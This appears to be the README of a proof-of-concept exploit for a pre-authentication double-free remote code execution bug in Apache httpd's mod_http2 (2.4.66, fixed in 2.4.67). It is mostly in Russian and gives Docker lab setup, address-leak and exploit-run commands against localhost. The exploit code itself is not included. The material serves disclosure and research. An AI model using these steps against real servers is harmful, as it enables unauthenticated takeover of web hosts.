
Двойное освобождение памяти (double-free) при очистке потока в mod_http2 Apache httpd, приводящее к RCE до аутентификации.
Double-free в очистке потока mod_http2 в Apache httpd, приводящий к RCE до аутентификации.
Затронуты: httpd 2.4.66 с mod_http2 и многопоточным MPM (event/worker). Исправлено в: 2.4.67.
Обнаружено и сообщено Bartlomiej Dmitruk (striga.ai) и Stanislaw Strzalkowski (isec.pl).
Writeup: https://striga.ai/research/apache-httpd-mod-http2-double-free
Соберите и запустите уязвимое окружение:
docker build -t httpd-poc .
docker run -d --name httpd-poc --privileged -p 9443:443 httpd-poc
Получите адреса system() и scoreboard:
docker exec httpd-poc python3 /getaddr.py 1
Запустите эксплойт:
python3 poc.py --host localhost --port 9443 \
--cmd 'date >> /tmp/win' --workers 64 \
--system <system_addr> --scoreboard <scoreboard_addr>
Проверьте (выполнение вероятностное, может занять от нескольких минут до нескольких часов):
docker exec httpd-poc cat /tmp/win
docker rm -f httpd-poc